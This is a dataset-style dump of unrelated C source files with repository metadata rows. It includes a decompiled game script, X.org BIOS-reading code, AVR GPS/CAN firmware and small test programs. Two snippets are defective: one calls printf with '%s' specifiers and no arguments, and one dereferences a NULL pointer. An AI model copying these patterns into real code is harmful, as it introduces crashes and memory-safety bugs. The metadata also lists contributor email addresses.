StringCopy(&(uParam0->f_8[1 /*8*/]), "layer_whiskey", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 145:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "swap_mrJam_A", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "swap_mrJam_B", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 146:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "swap_mrJam_C", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 147:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "vb_30_emissive", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "vb_30_murder", 32);
uParam0->f_33 = 0;
*uParam0 = { -1150.039f, -1521.761f, 9.6331f };
break;
case 148:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "vb_30_crimetape", 32);
uParam0->f_33 = 0;
*uParam0 = { -1150.039f, -1521.761f, 9.6331f };
break;
case 149:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "sheriff_cap", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
uParam0->f_33 = 0;
*uParam0 = { 1856.029f, 3682.998f, 33.2675f };
break;
case 150:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "CS1_16_Sheriff_Cap", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
uParam0->f_33 = 0;
*uParam0 = { -440.5073f, 6018.766f, 30.49f };
break;
case 151:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "ufo", 32);
uParam0->f_33 = 0;
*uParam0 = { 487.31f, 5588.386f, 793.0532f };
break;
case 152:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "ufo_eye", 32);
uParam0->f_33 = 0;
*uParam0 = { 487.31f, 5588.386f, 793.0532f };
break;
case 153:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "V_57_FranklinStuff", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_57_Franklin_LEFT", 32);
StringCopy(&(uParam0->f_42), "v_franklins", 32);
*uParam0 = { -13.9623f, -1440.614f, 30.1015f };
break;
case 154:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_57_GangBandana", 32);
StringCopy(&(uParam0->f_42), "v_franklins", 32);
*uParam0 = { -13.9623f, -1440.614f, 30.1015f };
break;
case 155:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_57_Safari", 32);
StringCopy(&(uParam0->f_42), "v_franklins", 32);
*uParam0 = { -13.9623f, -1440.614f, 30.1015f };
break;
case 172:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_19_Trevor_Mess", 32);
StringCopy(&(uParam0->f_42), "v_strip3", 32);
*uParam0 = { 96.4811f, -1291.294f, 28.2688f };
break;
case 182:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 0;
*uParam0 = { 139.5795f, -3092.962f, 8.64631f };
uParam0->f_79 = { Vector(8.64631f, -3092.962f, 139.5795f) - Vector(4.1875f, 24f, 33.3125f) };
uParam0->f_82 = { Vector(8.64631f, -3092.962f, 139.5795f) + Vector(4.1875f, 24f, 33.3125f) };
uParam0->f_85 = { Vector(8.64631f, -3092.962f, 139.5795f) - Vector(4.1875f, 24f, 33.3125f) };
uParam0->f_88 = { Vector(8.64631f, -3092.962f, 139.5795f) + Vector(4.1875f, 24f, 33.3125f) };
uParam0->f_91[0] = 0;
uParam0->f_91[1] = 1;
uParam0->f_91[2] = 1;
break;
case 183:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 0;
*uParam0 = { 203.7784f, -3131.767f, 7.041344f };
uParam0->f_79 = { Vector(7.041344f, -3131.767f, 203.7784f) - Vector(2.5625f, 2.75f, 4.875f) };
uParam0->f_82 = { Vector(7.041344f, -3131.767f, 203.7784f) + Vector(2.5625f, 2.75f, 4.875f) };
break;
case 184:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 0;
*uParam0 = { 144.7706f, -2982.659f, 7.952507f };
uParam0->f_79 = { Vector(7.952507f, -2982.659f, 144.7706f) - Vector(3.125f, 3.4375f, 5.3125f) };
uParam0->f_82 = { Vector(7.952507f, -2982.659f, 144.7706f) + Vector(3.125f, 3.4375f, 5.3125f) };
break;
case 185:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 1;
*uParam0 = { -1154.965f, -1520.983f, 9.132731f };
uParam0->f_79 = { -1154.965f, -1520.983f, 9.132731f };
uParam0->f_82 = { -1158.965f, -1524.983f, 11.63273f };
break;
case 187:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 1;
*uParam0 = { -1052.204f, 371.9537f, 67.914f };
uParam0->f_79 = { -1052.204f, 371.9537f, 67.914f };
uParam0->f_82 = { -1048.064f, 368.0221f, 70.9128f };
break;
case 186:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 1;
*uParam0 = { 1954.984f, 3792.991f, 30.3086f };
uParam0->f_79 = { 1954.984f, 3792.991f, 30.3086f };
uParam0->f_82 = { 1983.45f, 3830.78f, 36.2726f };
break;
case 188:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 1;
*uParam0 = { -1122.202f, 48.5724f, 51.4652f };
uParam0->f_79 = { -1122.202f, 48.5724f, 51.4652f };
uParam0->f_82 = { -1076.233f, 92.1041f, 60.0617f };
break;
case 81:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "KorizTempWalls", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 0;
*uParam0 = { -2199.138f, 223.4648f, 181.1118f };
break;
case 82:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "mic3_chopper_debris", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 0;
*uParam0 = { -2242.785f, 263.4779f, 173.6154f };
break;
case 83:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "chemgrill_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 3832.9f, 3665.5f, -23.4f };
break;
case 84:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "Plane_crash_trench", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 0;
*uParam0 = { 2814.7f, 4758.5f, 47.9f };
break;
case 85:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "golfflags", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { -1096.505f, 4.5754f, 49.8103f };
break;
case 86:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "yogagame", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { -781.6566f, 186.8937f, 71.8352f };
break;
case 189:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "Carwash_with_spinners", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "Carwash_without_spinners", 32);
uParam0->f_33 = 0;
*uParam0 = { 55.7f, -1391.3f, 30.5f };
break;
case 190:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "KT_CarWash", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "KT_CarWash_NoBrush", 32);
uParam0->f_33 = 0;
*uParam0 = { 700.091f, -933.641f, 20.308f };
break;
case 191:
uParam0->f_3 = 1;
*uParam0 = { -1096.381f, -836.17f, 36.6755f };
uParam0->f_85 = { *uParam0 - Vector(25f, 25f, 15f) };
uParam0->f_88 = { *uParam0 + Vector(25f, 25f, 15f) };
uParam0->f_91[0] = 1;
uParam0->f_91[1] = 0;
break;
case 192:
uParam0->f_3 = 1;
*uParam0 = { 449.6558f, -980.1375f, 42.6918f };
uParam0->f_85 = { *uParam0 - Vector(25f, 25f, 15f) };
uParam0->f_88 = { *uParam0 + Vector(25f, 25f, 15f) };
uParam0->f_91[0] = 1;
uParam0->f_91[1] = 0;
break;
case 193:
uParam0->f_3 = 1;
*uParam0 = { 363.0175f, -1598.079f, 35.9502f };
uParam0->f_85 = { *uParam0 - Vector(25f, 25f, 15f) };
uParam0->f_88 = { *uParam0 + Vector(25f, 25f, 15f) };
uParam0->f_91[0] = 1;
uParam0->f_91[1] = 0;
break;
case 194:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS3_07_MPGates", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
*uParam0 = { -1601.424f, 2808.213f, 16.2598f };
break;
case 97:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "DT1_03_Gr_Closed", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 23.7318f, -647.2123f, 37.9549f };
break;
case 98:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "FINBANK", 32);
*uParam0 = { 12.9689f, -648.4698f, 9.7693f };
break;
case 99:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "PAPER1_RCM_ALT", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "PAPER1_RCM", 32);
*uParam0 = { -1459.127f, 486.1281f, 115.2016f };
break;
case 100:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "SP1_10_fake_interior", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "SP1_10_real_interior", 32);
*uParam0 = { -248.4916f, -2010.509f, 34.5743f };
break;
case 101:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "facelobbyfake", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "facelobby", 32);
*uParam0 = { -1081.347f, -263.1502f, 38.7152f };
break;
case 195:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "atriumglstatic", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "atriumglmission", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "atriumglcut", 32);
*uParam0 = { 136.1795f, -750.701f, 262.0516f };
break;
case 197:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "racetrack01", 32);
*uParam0 = { 2096f, 3168.7f, 42.9f };
break;
}
switch (iParam1)
{
case 156:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "showhome_only", 32);
StringCopy(&(uParam0->f_42), "v_franklinshouse", 32);
*uParam0 = { 7.0256f, 537.3075f, 175.0281f };
break;
case 157:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "franklin_unpacking", 32);
StringCopy(&(uParam0->f_42), "v_franklinshouse", 32);
*uParam0 = { 7.0256f, 537.3075f, 175.0281f };
break;
case 158:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "franklin_settled", 32);
StringCopy(&(uParam0->f_42), "v_franklinshouse", 32);
*uParam0 = { 7.0256f, 537.3075f, 175.0281f };
break;
case 163:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "progress_tshirt", 32);
StringCopy(&(uParam0->f_42), "v_franklinshouse", 32);
*uParam0 = { 7.0256f, 537.3075f, 175.0281f };
break;
case 159:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "bong_and_wine", 32);
StringCopy(&(uParam0->f_42), "v_franklinshouse", 32);
*uParam0 = { 7.0256f, 537.3075f, 175.0281f };
break;
case 161:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "progress_flyer", 32);
StringCopy(&(uParam0->f_42), "v_franklinshouse", 32);
*uParam0 = { 7.0256f, 537.3075f, 175.0281f };
break;
case 162:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "progress_tux", 32);
StringCopy(&(uParam0->f_42), "v_franklinshouse", 32);
*uParam0 = { 7.0256f, 537.3075f, 175.0281f };
break;
case 160:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "locked", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "unlocked", 32);
StringCopy(&(uParam0->f_42), "v_franklinshouse", 32);
*uParam0 = { 7.0256f, 537.3075f, 175.0281f };
break;
case 96:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "chophillskennel", 32);
*uParam0 = { 19.0568f, 536.4818f, 169.6277f };
break;
}
return 1;
}
int func_9()
{
if (((GAMEPLAY::IS_NEXT_WEATHER_TYPE("RAIN") || GAMEPLAY::IS_NEXT_WEATHER_TYPE("THUNDER")) || GAMEPLAY::IS_PREV_WEATHER_TYPE("RAIN")) || GAMEPLAY::IS_PREV_WEATHER_TYPE("THUNDER"))
{
return 1;
}
return 0;
}
void func_10()
{
func_1(152, 0, 1, 1, 0);
if (AUDIO::IS_AMBIENT_ZONE_ENABLED("AZ_SPECIAL_UFO_03"))
{
AUDIO::SET_AMBIENT_ZONE_STATE("AZ_SPECIAL_UFO_03", 0, 1);
}
SCRIPT::TERMINATE_THIS_THREAD();
}
| [
"jeremie.ngadi@gmail.com"
] | jeremie.ngadi@gmail.com |
7d778d4727d8770a0cbccb330c737cd906785e71 | 81d701975da56478c85077d18fbace2092ed9811 | /IntervalsList.h | 13a61d22ffd8662c8a4e6a88d8400094302c5c84 | [
"Apache-2.0"
] | permissive | wang-nb/camera-roll-calibration | 8f12552e18c2d07d92b334b914aec962cc7b6870 | ab82723e4f9dda88a63add60d5f28dda5a22bc73 | refs/heads/master | 2023-07-09T03:00:19.348150 | 2021-05-31T06:12:43 | 2021-05-31T06:12:43 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 402 | h | #ifndef TEST_OPENCV_INTERVALSLIST_H
#define TEST_OPENCV_INTERVALSLIST_H
#include "Interval.h"
struct IntervalsList
{
Interval *head, *tail;
IntervalsList *next;
IntervalsList();
~IntervalsList();
void addInterval(int begin, int end, int y_coordinate, cv::Vec3b color);
void addInterval(Interval *newInterval);
int getLength();
};
#endif //TEST_OPENCV_INTERVALSLIST_H
| [
"alex.sergeevich1348@gmail.com"
] | alex.sergeevich1348@gmail.com |
e09cf7fcd5e60270c792254f89d9d830e468fc56 | ecfb152af870aea90355fe29fa46989030c6d4c6 | /xorg-server-X11R7.1-1.1.0/hw/xfree86/os-support/shared/bios_devmem.c | b63704cde96a2a11f8c7371e715908474e5fec9e | [] | no_license | Magister/x11rdp_xorg71 | b1e6a4acf08812dc92b3e507bd22281697989ef0 | 097603f5f9cf6e8ea56d6e3f8bea6100cc835ada | refs/heads/master | 2021-01-19T07:41:02.050682 | 2012-02-11T21:49:32 | 2012-02-11T21:49:32 | 3,473,986 | 1 | 2 | null | null | null | null | UTF-8 | C | false | false | 2,328 | c | /* $XFree86: xc/programs/Xserver/hw/xfree86/os-support/shared/bios_devmem.c,v 3.5 1998/09/13 00:51:32 dawes Exp $ */
/*
* Copyright 1993 by David Wexelblat <dwex@goblin.org>
*
* Permission to use, copy, modify, distribute, and sell this software and its
* documentation for any purpose is hereby granted without fee, provided that
* the above copyright notice appear in all copies and that both that
* copyright notice and this permission notice appear in supporting
* documentation, and that the name of David Wexelblat not be used in
* advertising or publicity pertaining to distribution of the software without
* specific, written prior permission. David Wexelblat makes no representations
* about the suitability of this software for any purpose. It is provided
* "as is" without express or implied warranty.
*
* DAVID WEXELBLAT DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,
* INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO
* EVENT SHALL DAVID WEXELBLAT BE LIABLE FOR ANY SPECIAL, INDIRECT OR
* CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE,
* DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
* TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
* PERFORMANCE OF THIS SOFTWARE.
*
*/
/* $XConsortium: bios_devmem.c /main/5 1996/10/19 18:07:41 kaleb $ */
#ifdef HAVE_XORG_CONFIG_H
#include <xorg-config.h>
#endif
#include <X11/X.h>
#include "xf86.h"
#include "xf86Priv.h"
#include "xf86_OSlib.h"
#include <string.h>
/*
* Read BIOS via /dev/mem.
*/
#ifndef DEV_MEM
# define DEV_MEM "/dev/mem"
#endif
_X_EXPORT int
xf86ReadBIOS(unsigned long Base, unsigned long Offset, unsigned char *Buf,
int Len)
{
int fd;
#ifdef __ia64__
if ((fd = open(DEV_MEM, O_RDONLY | O_SYNC)) < 0)
#else
if ((fd = open(DEV_MEM, O_RDONLY)) < 0)
#endif
{
xf86Msg(X_WARNING, "xf86ReadBIOS: Failed to open %s (%s)\n",
DEV_MEM, strerror(errno));
return(-1);
}
if (lseek(fd, (Base+Offset), SEEK_SET) < 0)
{
xf86Msg(X_WARNING, "xf86ReadBIOS: %s seek failed (%s)\n",
DEV_MEM, strerror(errno));
close(fd);
return(-1);
}
if (read(fd, Buf, Len) != Len)
{
xf86Msg(X_WARNING, "xf86ReadBIOS: %s read failed (%s)\n",
DEV_MEM, strerror(errno));
close(fd);
return(-1);
}
close(fd);
return(Len);
}
| [
"jay@1bcb0b09-b424-0410-92a4-e5ef3db1a8a0"
] | jay@1bcb0b09-b424-0410-92a4-e5ef3db1a8a0 |
c97b3328343856417f101259ccb47b9d5a639da2 | dadb03095d2ec2c1d70382bf280db0bccbd497d1 | /mega328_GPS_CAN/Src/Main.c | 67ad70386e7231b63e8b7e11e0b4db7a1ab8eb8e | [] | no_license | nalale/BoatFirmware | 493ff9cf8bbacb3fccb7e927036acfaff2b88db5 | 6476312e96541f55f916849912780912c7767a4d | refs/heads/master | 2021-06-15T01:32:03.516836 | 2021-05-25T06:30:09 | 2021-05-25T06:30:09 | 197,399,164 | 0 | 1 | null | null | null | null | WINDOWS-1251 | C | false | false | 1,710 | c | /*
* Main.c
*
* Created on: 17 мая 2020 г.
* Author: a.lazko
*/
#include "Main.h"
#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/pgmspace.h>
#include <stdio.h>
#include <string.h>
#include "../ATmega328P-master/inc/SPI.h"
#include "../ATmega328P-master/inc/UART2.h"
#include "../ExternalDrivers/mcp2515.h"
#include "../ExternalDrivers/gpsNeo6n.h"
#include "TIMER.h"
#define PORT_DIR_OUT 1
#define PORT_DIR_IN !PORT_DIR_OUT
int main(void)
{
uint32_t ts = 0;
char s = 0, led = 0;
CanMsg msg;
msg.ID = 363;
msg.DLC = 8;
msg.Ext = 0;
DDRD = (PORT_DIR_OUT << DDD3) |
(PORT_DIR_OUT << DDD4) |
(PORT_DIR_OUT << DDD5);
UART2_init();
SPI_init();
TIMER_init();
//MCP2515_SELECT(MCP_CS1_U6);
mcp2515_setSpiCallBack(SPI_writeRead);
mcp2515_init(MCP_CS1_U6, MCP_CAN1_NUM, kBAUD250);
sei();
while(1)
{
if(UART2_ngets(&s, sizeof(s)))
neo6m_ProcessCharacter(s);
neo6m_Thread();
if(GetTime_msFrom(ts) >= 250)
{
ts = GetTime_msStamp();
led = !led;
PORTD = (led << PORTD3) | (led << PORTD4) | (led << PORTD5);
uint16_t vel = GetVelocityKmph();
msg.data[0] = vel;
msg.data[1] = vel >> 8;
msg.data[2] = (uint8_t)GetTime();
msg.data[3] = (uint8_t)((uint32_t)GetTime() >> 8);
msg.data[4] = (uint8_t)((uint32_t)GetTime() >> 16);
msg.data[5] = (uint8_t)((uint32_t)GetTime() >> 24);
mcp2515_write_canMsg(MCP_CS1_U6, &msg);
}
}
}
| [
"alelazk@yandex.ru"
] | alelazk@yandex.ru |
5672076eec3b553ef3fe794cd26f3735b10ac6ca | 87d28f3a047f7a0c22046ee333cfac1e82703b60 | /ch04/code/printf.c | 11ac65a53e12625f0e12f77dc9fccc8a6806fd26 | [] | no_license | zxplsec/linear_algebra | d639a42ac0b9607397f0b368bba983edb58dfe65 | 442915f9e218ff64f37b8c78fb046205f3cc9ef0 | refs/heads/master | 2021-05-08T05:43:21.559068 | 2018-04-15T13:52:09 | 2018-04-15T13:52:09 | 106,508,967 | 4 | 0 | null | null | null | null | UTF-8 | C | false | false | 77 | c | #include<stdio.h>
int main()
{
printf("Geek%sforGeek%s");
return 0;
}
| [
"xpzhang.math@whu.edu.cn"
] | xpzhang.math@whu.edu.cn |
e8c6c8ffff1c2af42fae36105bb1eb978fb18f26 | fc55c1ee23ee688ed0dff9047d3e49030c0f76f3 | /dump.c | 60c4e2759b753aa68ccd15080e5ea830ab52d608 | [] | no_license | loversmile/mytest | 768784013081d98993e3ded74fbf605d6bd033bb | 248eb6278a89f2077465f599044867ab6aac2d51 | refs/heads/master | 2021-01-10T08:17:40.471978 | 2016-03-28T03:41:50 | 2016-03-28T03:41:50 | 52,493,999 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 402 | c | /*************************************************************************
> File Name: dump.c
> Author:
> Mail:
> Created Time: 2015年02月28日 星期六 16时23分28秒
************************************************************************/
#include<stdio.h>
int main()
{
char *str = NULL;
while(*str)
{
printf("oooooooo\n");
}
printf("end");
return 0;
}
| [
"jklou@grandstream.cn"
] | jklou@grandstream.cn |
ebfbde0f30114cf4aae06dcb722d4337df5eaf36 | 112df2a11ca1d09b9503ede2bf3bea884656df6a | /CoreFiles/kalinote/console/cmd_start.c | 4e33a40e57009917da2743fe3453ffa4bccfc85f | [
"MIT"
] | permissive | youvalue/KalinoteOS | b31bf995232dcd6130be376cbbf8e575742ea298 | 7cd490686223a806c52e1f750d2bbb5379edd1a7 | refs/heads/main | 2023-02-19T15:05:42.929117 | 2021-01-23T12:49:15 | 2021-01-23T12:49:15 | null | 0 | 0 | null | null | null | null | GB18030 | C | false | false | 624 | c | /* 退出程序 */
#include "../bootpack.h"
void cmd_start(struct CONSOLE *cons, char *cmdline, int memtotal){
/* 在新的命令窗口启动一个应用程序 */
struct SHTCTL *shtctl = (struct SHTCTL *) *((int *) SHTCTL_ADDR);
struct SHEET *sht = open_console(shtctl, memtotal, 0);
struct FIFO32 *fifo = &sht->task->fifo;
int i;
sheet_slide(sht, 32, 4);
sheet_updown(sht, shtctl->top);
/* 将命令行输入的字符串逐字复制到新的命令行窗口中 */
for (i = 6; cmdline[i] != 0; i++) {
fifo32_put(fifo, cmdline[i] + 256);
}
fifo32_put(fifo, 10 + 256); /* Enter */
cons_newline(cons);
return;
}
| [
"840746219@qq.com"
] | 840746219@qq.com |
73e426fbe28b3a735c0696956ad45467384a006a | d792300a60bf72fc85f85d7297c7b878ede92fc6 | /bsp/inc/bsp.h | 3ef95f1dcb85f9dec94a9fa34b1cf227ec7598cc | [] | no_license | nahueespinosa/salt | f2882b6a8220dda16559c65281318e443bce5ff6 | 0fa33e4ad54c1ef9464be9194368bee91ce67c32 | refs/heads/master | 2023-01-22T05:43:55.373000 | 2020-11-29T16:13:26 | 2020-11-29T16:13:26 | 292,737,728 | 0 | 0 | null | 2020-10-01T23:39:33 | 2020-09-04T03:18:07 | C | UTF-8 | C | false | false | 2,787 | h | /*
* --------------------------------------------------------------------------
*
* Framework RKH
* -------------
*
* State-machine framework for reactive embedded systems
*
* Copyright (C) 2010 Leandro Francucci.
* All rights reserved. Protected by international copyright laws.
*
*
* RKH is free software: you can redistribute it and/or modify it under the
* terms of the GNU General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any
* later version.
*
* RKH is distributed in the hope that it will be useful, but WITHOUT ANY
* WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with RKH, see copying.txt file.
*
* Contact information:
* RKH web site: http://sourceforge.net/projects/rkh-reactivesys/
* e-mail: francuccilea@gmail.com
* ---------------------------------------------------------------------------
*/
/**
* \file bsp.h
* \brief BSP for Cortex-M3 EDU-CIAA LPC4337 ARM-GCC
*
* \ingroup bsp
*/
/* -------------------------- Development history -------------------------- */
/*
* 2017.06.23 DaBa v1.0.00 Initial version
*/
/* -------------------------------- Authors -------------------------------- */
/*
* DaBa Dario Bali\F1a dariosb@gmail.com
*/
/* --------------------------------- Module -------------------------------- */
#ifndef __BSP_H__
#define __BSP_H__
/* ----------------------------- Include files ----------------------------- */
/* ---------------------- External C language linkage ---------------------- */
#ifdef __cplusplus
extern "C" {
#endif
/* --------------------------------- Macros -------------------------------- */
/* -------------------------------- Constants ------------------------------ */
#define BSP_TICK_RATE_HZ (1000)
#define BSP_TICK_RATE_MS (BSP_TICK_RATE_HZ/RKH_CFG_FWK_TICK_RATE_HZ)
/* ------------------------------- Data types ------------------------------ */
/* -------------------------- External variables --------------------------- */
/* -------------------------- Function prototypes -------------------------- */
void bsp_init( int argc, char *argv[] );
void bsp_timeTick( void );
/* -------------------- External C language linkage end -------------------- */
#ifdef __cplusplus
}
#endif
/* ------------------------------ Module end ------------------------------- */
#endif
/* ------------------------------ File footer ------------------------------ */
| [
"nahue.espinosa@gmail.com"
] | nahue.espinosa@gmail.com |
838c0cdff1f1e0f6f58b8063f308aec7c91ec593 | 03a7c5275dfeb4369930679c561e73e9eeeeb215 | /CodeScanner/USER/stm32f10x_it.c | 76e0959e619ff1390536dc653ee5bac1ed89ed3e | [
"Apache-2.0"
] | permissive | lingjiawang511/myprogram_2016year | 620edf99783a0857e7dc93476a931a3a76909ff3 | 758bc0a2d9bdfda8e8664d539180cb14c96ace9c | refs/heads/master | 2021-01-23T07:21:29.008533 | 2020-04-26T07:15:46 | 2020-04-26T07:15:46 | 86,420,757 | 0 | 1 | null | null | null | null | GB18030 | C | false | false | 7,047 | c | /**
******************************************************************************
* @file Project/STM32F10x_StdPeriph_Template/stm32f10x_it.c
* @author MCD Application Team
* @version V3.5.0
* @date 08-April-2011
* @brief Main Interrupt Service Routines.
* This file provides template for all exceptions handler and
* peripherals interrupt service routine.
******************************************************************************
* @attention
*
* THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE
* TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY
* DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING
